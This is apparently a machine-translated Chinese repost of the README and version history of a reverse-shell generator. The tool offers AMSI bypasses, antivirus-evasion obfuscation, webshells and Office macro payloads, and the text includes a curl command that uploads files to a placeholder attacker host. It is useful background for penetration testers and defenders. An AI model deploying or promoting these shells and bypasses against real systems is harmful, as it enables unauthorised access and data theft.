项目地址
https://github.com/4ndr34z/shells
Shell
一个快速简单地生成通用 revshell 的脚本。
当需要 PowerShell 和 Python revshells 时特别好,这可以是正确格式化的 PITA。
PowerShell 反弹shell
- 在提示符和工作目录上方显示 username@computer
- 有一个部分的 AMSI 旁路使一些东西更容易一些,比如加载一个完整的 AMSI 旁路。
- TCP 和 UDP 外壳
- Windows Powershell 和核心 Powershell
- 上传和下载文件的功能。(使用sc0tfree的 Updog)
ngrok 支持
- ngrok 可以从脚本内部启动/停止
- 有效载荷将与 ngrok 地址一起生成
更新支持
- 您可以从脚本内部启动/停止 Updog
- PowerShell revshells 嵌入了上传/下载功能
- 使用 curl 从 nix 上传:
curl -F path="absolute path for Updog-folder" -F file=filename http://UpdogIP/upload
安装Shell
git clone https://github.com/4ndr34z/shells
cd shells
./install.sh
截图
Youtube 视频
版本 1.5.0
- PowerShell:为 MS Office 宏添加了 VBA 负载
- 添加了一些 node.js 负载
版本 1.4.9
- 添加了一个简单的 C# shell。
- 添加了用于将 C# shell 反射加载到内存中的有效负载。(需要完整的 AMSI 旁路)
- 通过添加 Rastamouse 的完整 AMSI Bypass 来解决这个问题
- PowerShell:您可以自动上传并运行完整的 AMSI 旁路。部分 AMSI 旁路使这成为可能。
- C# Shell:在将其加载到内存之前自动上传并运行完整的 AMSI 旁路
- Updog 和 ngrok 状态显示在每个菜单中
版本 1.4.8
- 有时少即是多。删除了 TCP/UDP PowerShell revshells 上的混淆,因为它实际上触发 AV 的次数多于它绕过的次数,并且有效负载变得非常大 🙂 仍在使用随机化。
版本 1.4.6
- 添加了 webshells (ASPX, PHP, JSP)
版本 1.4.5
- 为 Windows 32 位和 64 位添加了 2 个 c++ revshell 二进制文件。
版本 1.4.4
- 修复了启动/停止 Updog 的处理
版本 1.4.3
- 添加了 Updog 支持
- 添加了 Netcat 二进制文件。
- Powershell:创建了上传/下载功能(上传需要 Updog 来接收文件)
- 添加了有关运行 ngrok 和 Updog 的更多信息。
版本 1.4.2
- PowerShell:添加了一个新的“迷你 AMSI 旁路”。(是部分绕过)基于Matt Graebers Reflection方法
- PowerShell:在 Powershell reverseshell 中添加了“上传”功能
版本 1.4.1
- 删除了 AMSI。没有经过足够的测试:-)
版本 1.4
- 为 powershell 有效载荷添加了 AMSI 旁路
版本 1.3.9
- 修正了设置端口时的错误
- 将默认端口更改为 443
- PowerShell:混淆了一些
版本 1.3.8
- PowerShell:对 UDP 负载的微小更改
版本 1.3.7
- 在 macOS 上仅使用本机 nc,因为自制软件上的 nc 不适用于传入的 UDP
- PowerShell:添加了 UDP 负载
版本 1.3.6
- PowerShell:添加了更多有效负载
版本 1.3.5
- PowerShell:为有效载荷添加了一些随机化和混淆
版本 1.3.4
- PowerShell:在负载中使用 UTF8 编码
版本 1.3.3
- 添加了 Go 语言
版本 1.3.2
- 添加了 OpenSSL
版本 1.3.1
- 修复了 Python revshell 中的错误
- 添加了awk
- 添加了 Bash UDP
版本 1.3
- 添加了 Windows Python revshell
版本 1.2.9
- 添加了 ngrok 运行状态
版本 1.2.8
- 如果未安装则隐藏 ngrok 选择
版本 1.2.7
- 修复了安装选项:在没有选择的情况下按回车键时不执行默认选项
版本 1.2.6
- 添加了对 ngrok 的支持。
版本 1.2.4
- 添加了安装脚本
- 添加了用于检查和安装缺少的依赖项的安装选项
版本 1.2.3
- 添加了几个 PHP shell
版本 1.2.2
- 为 Ruby、Perl、Telnet 和 zsh 添加了 shell
版本 1.2.1
- 在 macOS 上使用 pbcopy 添加了复制到剪贴板
- 添加了关于监听 netcat 的信息,因为 macOS 版本不显示
版本 1.2
- 添加了循环 netcat shell。每 10 秒回调一次。万一你松了壳
- 添加了在 macOS 上运行时检查 netcat GNU netcat 0.7.0 Homebrew
版本 1.1
- 添加了对 macOS 的支持
没有回复内容